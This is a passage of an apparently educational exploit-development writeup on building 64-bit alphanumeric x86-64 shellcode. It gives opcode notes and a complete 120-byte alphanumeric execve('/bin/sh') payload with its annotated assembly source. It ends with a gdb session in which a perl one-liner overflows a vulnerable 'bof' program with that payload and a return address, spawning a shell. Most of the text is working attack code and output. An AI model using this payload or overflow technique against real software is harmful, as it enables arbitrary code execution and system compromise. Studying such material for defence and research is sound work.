       # you'd like to use the special 64 bit registers, 
       # put 0x41 or "A" at the beginning of the bytecode.
       # if you need to use both, you must always use the
       # %ss segment register prefix first, e.g. '6A3*?'.
       # 
       # Using one of our 64 bit force operators, we can 
       # use any of those instructions on %ebx with an 
       # override to treat it as %rbx (in this case, 0x48).
       #
       #  imul   $0x[byte1],0x[byte2]({reg}),%rbx
       #  "\x48\x6b\x??\x#2\x#1"               "Hk*21"
       #
       #  So all we really have to set the value of %rbx 
       #  directly is imul, xor, and movslq.  It's similar
       #  for our other registers that we can't directly 
       #  access yet, save for a couple.
       #
       #  Left over, we have %rsp, %rbp, %rdi, and %rsi.  
       #  Lets take a closer look at xor.  Starting at
       #  0x30 and ending at 0x35 we have some pretty 
       #  valuable xor commands:
       #
       #    0x34:        xor $0x##, %al
       #    0x35:        xor $0x########, %eax
       #    0x48 0x35 :  xor $0x########, %rax
       #
       #   0x30 is a multi-byte xor instruction.  Requiring
       #  at least two operands (even if register denote):
       #
       #   0x30 - xor %{16bit}, (%{64bit})
       #          xor %{16bit}, (%{64bit},%{64bit},1)
       #          xor %{16bit}, (%{64bit},%{64bit},2)
       #
       #          xor %{16bit}, 0x[byte](%{64bit})
       #          xor %{16bit}, 0x[byte](,%{64bit},1)
       #          xor %{16bit}, 0x[byte](,%{64bit},2)
       #
       #          xor %{16bit}, 0x[dword](%{64bit})
       #          xor %{16bit}, 0x[dword](,%{64bit},1)
       #          xor %{16bit}, 0x[dword](,%{64bit},2)
       #
       #  0x31 - xor %{32bit}, (%{64bit})
       #   0x31 is just as flexible as 0x30.  Didn't document
       # all permutations here due to brevity.
       #
       #  0x32 - xor (%{64bit}), %{16bit}
       #   0x32 is just as flexible, although the offsets will
       # change source side rather than destination side.
       #
       #  0x33 - xor (%{64bit}), %{32bit} 
       #   0x33 is the opposite of 0x31.  Just as flexible.
       #
       #  Lets combine our knowledge of xor with our knowledge
       # of the stack.  When we push any data, our data is 
       # accessible at %ss:(%rsp).  Knowing this, we can use
       # another register in our available space (e.g. %rcx)
       # to set values on some of our more difficult registers:
       #          %rbx, %rsp, %rbp, %rsi, %rdi
       #
       # First, we'll use push and pop to simulate 'mov':
       #
       #  \x54  push %rsp
       #  \x59  pop %rcx
       #  \x5a  pop %rax       (This just sets the pointer back)
       # Two xor parameters allow us to set the index registers,
       # %rsi and %rdi.  For now, we'll just zero them out:
       #
       #  \x56                 push %rsi
       #  \x36\x48\x33\x31     xor %ss:(%rcx), %rsi
       #  \x41\x58             pop %r8         
       #
       #  \x57                 push %rdi
       #  \x36\x48\x33\x39     xor %ss:(%rcx), %rdi
       #  pop %r8              
       # --------
       #
       # Now we've zeroed out %rsi and %rdi.  %r14 and %r15
       # special registers can also be pushed and zeroed out in
       # this fashion.  Now we have "full control" over:
       #   %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14,
       # and %r15.  We still need to gain full control over:
       #   %rsp, %rbp, %rbx, %r11, %r12, and %r13
       #
       #  Similar to push, we're going to require some sort of 
       # controllable data before the setting of a register. 
       # Where pop is concerned, we might require something to
       # be pushed to the stack first, in this case, we just
       # require a zero register.  Due to the way that xor 
       # works, once we have a zero register at all, in this 
       # case we will use %rax as our zero register, we can
       # use it to get %rbx, %rsp, and %rbp to zero if needed:
       #
       #  # %rbx:
       #  xor %ss:0x30(%rcx), %rax        # store that value in rax
       #  xor %rax, %ss:0x30(%rcx)        # Null that area of stack
       #  imul $0x30,%ss:0x30(%rax),%rbx  # 0x30 * 0 = 0 
       #  imul $0x30,%ss:0x30(%rax),%rbp  # 0x30 * 0 = 0
       #
       # Once the stack space, as well as the destination is set
       # to zero, we can effectively mov %rax, %rbp:
       #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)
       #  36 48 33 69 30        xor    %ss:0x30(%rcx),%rbp
       #
       #  Our closest thing to incrementing and decrementing is
       # our ability to use the ins and outs instructions to 
       # add or subtract 1,2, or 4 against the %rdi register.
       # This still leaves us with no significant add or sub,
       # we can use imul with 16 and 8 bit registers to find 
       # division though.  We also have a magic mov; if %rsi is
       # not in use:
       #
       #   movsql %ss:0x30(%rcx), %rsi
       #   xor %rsi, %ss:0x30(%rsi)
       #
       #  This can come in quite handy when chunking large 
       # pieces of data to 0.


64 Bit Alphanumeric execve('/bin/sh') - 120 bytes

Code

  • Assembled:
 TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c
 
        .global _start
        .text
_start:
        # Set %rcx as stack pointer 
        # and align %rsp 
        push %rsp
        pop %rcx
        pop %r8                         # garbage reg
 
        # Get magic offset and store in %rdi
        push $0x5a
        pop %rax
        xor $0x55, %al
        push %rax                       # 0x0f on the stack now.
        pop %r8                         # garbage reg. 
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
                                        # This is decimal value 975.
                                        # If this is too low/high, suggest a 
                                        # modification to xor of %al for 
                                        # changing the imul results
 
        # Write our syscall 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         # 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %r8                         # Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 
        # Sycall written, set values now.
        # allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 
        # Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            # '/bin'  just went onto the stack
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            # '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            # %rdi now contains '/bin/sh\0'
 
        pop %r8
        push %rdi
        push $0x30
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                # %rdi zeroed
        pop %r8
        push %rsp
        xor (%rcx), %rdi
 
        push $0x58
        pop %rax
        xor $0x63, %al

Successful Overflow Test

[root@ares bha]# gdb -q bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb) r `perl -e 'print  "TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c" . "Y"x96 . "\x22\xec\xff\xff\xff\x7f";'`
Starting program: /home/hatter/bha/bof `perl -e 'print  "TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c"."Y"x96 ."\x22\xec\xff\xff\xff\x7f";'`
process 1056 is executing new program: /bin/bash
[root@ares bha]# uname -m
x86_64